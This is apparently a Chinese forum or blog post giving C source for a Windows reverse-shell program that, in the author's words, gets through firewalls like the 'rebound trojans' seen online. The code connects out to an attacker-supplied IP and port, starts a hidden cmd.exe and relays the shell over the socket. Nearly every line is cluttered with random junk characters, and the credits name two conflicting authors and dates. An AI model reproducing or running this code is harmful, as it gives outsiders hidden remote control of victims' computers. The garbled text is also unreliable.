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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 $o+j El>  
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/* ============================== ju8> :y8  
Rebound port in Windows NT 9)l$ aBa  
By wind,2006/7 tHU2/V:R  
===============================*/ Ki;*u_4{  
#include xK>*yV  
#include 3(>B Ke  
)*u8/U  
#pragma comment(lib,"wsock32.lib") `}p0VmD{NE  
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void OutputShell(); iDpSj!x/_  
SOCKET sClient; mVj9, q0  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; * ` JYC  
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void main(int argc,char **argv) /4yo`  
{ sU=H&D99  
WSADATA stWsaData; D(~U6SR  
int nRet; %Tfbsyf%f  
SOCKADDR_IN stSaiClient,stSaiServer; j`EXlc~  
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if(argc != 3)  {y)=eX9  
{  CT&|QH{  
printf("Useage:\n\rRebound DestIP DestPort\n"); 0 j^Kgx  
return; B`EJb71^Xy  
} Lc}LGq!  
n'"/KS+_  
WSAStartup(MAKEWORD(2,2),&stWsaData); kXViWOXU^  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ,<.V7(|t)  
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stSaiClient.sin_family = AF_INET; ^vZSUfS  
stSaiClient.sin_port = htons(0); ;xy"\S]  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); &1Ok`_plO  
kj Jn2c:y  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) .7J#_* N V  
{ <]ox;-56  
printf("Bind Socket Failed!\n"); 6W/`07 '  
return;  -uS!\  
} &0d# Y]D4`  
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stSaiServer.sin_family = AF_INET; a,,exi  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); p:&8sO!m  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); .e#w)K  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) I{|O "8  
{ @NR>{Eg  
printf("Connect Error!"); b1I]>\  
return; ZtNN<7  
} @F AA2 d  
OutputShell(); ./Xz}<($8  
} 6jaEv#  
p T?}Kc  
void OutputShell() t 9lPb_70  
{ <sbu;dQ`  
char szBuff[1024]; +Ze} B*0  
SECURITY_ATTRIBUTES stSecurityAttributes; \doUTr R  
OSVERSIONINFO stOsversionInfo; lf|FWqqV  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; z(ONv#}p  
STARTUPINFO stStartupInfo; VD*6g%p  
char *szShell; yX>K/68  
PROCESS_INFORMATION stProcessInformation; <_L,t 1H{  
unsigned long lBytesRead; LBeF&sb6  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); +fB5w?Rg  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); FjHv   
stSecurityAttributes.lpSecurityDescriptor = 0; P8:dU(nlW  
stSecurityAttributes.bInheritHandle = TRUE; $S6`}3  
b#%hY{$j  
7~h<$8Y(T  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); C^Yb\N}S  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); -m zIT4  
u {cW:  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); QT5TE: D  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; P= BZ+6DS  
stStartupInfo.wShowWindow = SW_HIDE; KAJi  
stStartupInfo.hStdInput = hReadPipe; 2QcOR4_V  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; /{J4:N'B>  
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GetVersionEx(&stOsversionInfo); nF]W,@u"h  
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switch(stOsversionInfo.dwPlatformId) yPBZc h%-  
{ AR%4D3Dma  
case 1: Tk[ $5u*,  
szShell = "command.com"; p$c6<'UqH  
break; e)k9dOR  
default: bHnT6Icom  
szShell = "cmd.exe"; *KF#'wi  
break; e2Pcm_Ahv*  
} _ A y9p[l  
|3b^~?S  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); r|8d 4  
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send(sClient,szMsg,77,0); a.\:T,cP>  
while(1) 3ZPWze6  
{ sE<V5`Z=  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 7aRi5  
if(lBytesRead) !*&V- 4  
{ Pj^{|U21  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 05#1w#i  
send(sClient,szBuff,lBytesRead,0); Y]_ruDIW  
} F,F4nw<W  
else 2,oKVm+  
{ ?=7 cF  
lBytesRead=recv(sClient,szBuff,1024,0); 2zA4vZkbcw  
if(lBytesRead<=0) break; :pY/-Cgv  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); *;slV3  
} +o{R _  
} M/'sl;  
[S%_In   
return; O6 3<AY@  
}
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